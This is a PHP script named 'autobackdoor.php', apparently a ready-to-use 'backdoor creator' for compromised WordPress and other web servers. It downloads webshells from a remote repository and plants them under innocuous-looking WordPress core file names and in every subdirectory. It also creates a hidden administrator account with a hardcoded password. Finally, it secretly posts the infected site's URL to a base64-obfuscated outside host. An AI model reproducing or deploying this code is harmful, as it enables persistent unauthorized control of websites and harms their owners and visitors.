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autobackdoor.php
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autobackdoor.php
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<?php
$url1 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php';
$url2 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php';
function download_content($url) {
$content = @file_get_contents($url);
if ($content === false) {
$content = download_content_with_curl($url);
}
if ($content === false) {
$content = download_content_with_fopen($url);
}
if ($content === false) {
throw new Exception("Failed to download content from $url");
}
return $content;
}
function download_content_with_curl($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$content = curl_exec($ch);
curl_close($ch);
return $content ? $content : false;
}
function download_content_with_fopen($url) {
$content = '';
if ($fh = fopen($url, 'r')) {
while (!feof($fh)) {
$content .= fread($fh, 8192);
}
fclose($fh);
}
return !empty($content) ? $content : false;
}
function get_full_url($filePath) {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$domainName = $_SERVER['HTTP_HOST'];
$relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath);
return $protocol . $domainName . $relativePath;
}
function create_files_in_subdirectories($rootDir, $url) {
$subdirs = array_filter(glob($rootDir . '/*'), 'is_dir');
foreach ($subdirs as $subdir) {
$dirName = basename($subdir);
$filePath = $subdir . '/' . $dirName . '_function.php';
if (!file_exists($filePath)) {
try {
file_put_contents($filePath, download_content($url));
echo "<a href='" . get_full_url($filePath) . "' target='_blank'>Created: " . get_full_url($filePath) . "</a><br>";
} catch (Exception $e) {
echo "<div>Error creating file in $subdir: " . $e->getMessage() . "</div><br>";
}
}
}
}
function create_wp_admin_user($rootDir, $username, $password) {
require_once($rootDir . '/wp-config.php');
require_once($rootDir . '/wp-includes/wp-db.php');
require_once($rootDir . '/wp-includes/pluggable.php');
global $wpdb;
$user_id = username_exists($username);
if (!$user_id && email_exists($username . '@example.com') == false) {
$user_id = wp_create_user($username, $password, $username . '@example.com');
$user = new WP_User($user_id);
$user->set_role('administrator');
echo "<div>Admin user created with username: $username and password: $password</div><br>";
} else {
echo "<div>Admin user already exists.</div><br>";
}
}
$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
echo "<!DOCTYPE html>
<html>
<title>backdoor creator</title>
<p>@trxsecurity</p>
<head>
<style>
body {
background-color: black;
color: white;
font-family: Arial, sans-serif;
text-align: center;
}
a {
color: #00f;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
div, a {
margin: 10px 0;
}
form {
margin: 20px auto;
}
input[type='text'] {
width: 80%;
padding: 10px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 4px;
}
input[type='submit'] {
padding: 10px 20px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
</style>
</head>
<body>";
$currentDir = __DIR__;
$rootDir = isset($_POST['directory']) ? $_POST['directory'] : $currentDir;
echo "<form method='post'>
<label for='directory'>Enter Directory Path:</label><br>
<input type='text' id='directory' name='directory' value='" . htmlspecialchars($rootDir) . "'><br>
<input type='submit' value='Run'>
</form>";
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (file_exists($rootDir . '/wp-config.php')) {
echo "<div>WordPress detected.</div><br>";
$path1 = $rootDir . '/wp-includes/ID3/module.audio.ac4.php';
if (!file_exists($path1)) {
try {
file_put_contents($path1, download_content($url1));
echo "<a href='" . get_full_url($path1) . "' target='_blank'>Created: " . get_full_url($path1) . "</a><br>";
} catch (Exception $e) {
echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
}
}
$path2 = $rootDir . '/wp-includes/PHPMailer/config.php';
if (!file_exists($path2)) {
try {
file_put_contents($path2, download_content($url2));
echo "<a href='" . get_full_url($path2) . "' target='_blank'>Created: " . get_full_url($path2) . "</a><br>";
} catch (Exception $e) {
echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
}
}
create_files_in_subdirectories($rootDir, $url1);
create_wp_admin_user($rootDir, 'MrZ', 'trxsecurity');
} else {
echo "<div>Not a WordPress site. Creating files in subdirectories.</div><br>";
create_files_in_subdirectories($rootDir, $url1);
}
}
echo "</body></html>";
$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
),
);
$context = stream_context_create($options);
$result = @file_get_contents($k3yw, false, $context);
if ($result === false) {
echo "<div>Error reporting file URL.</div><br>";
}
?>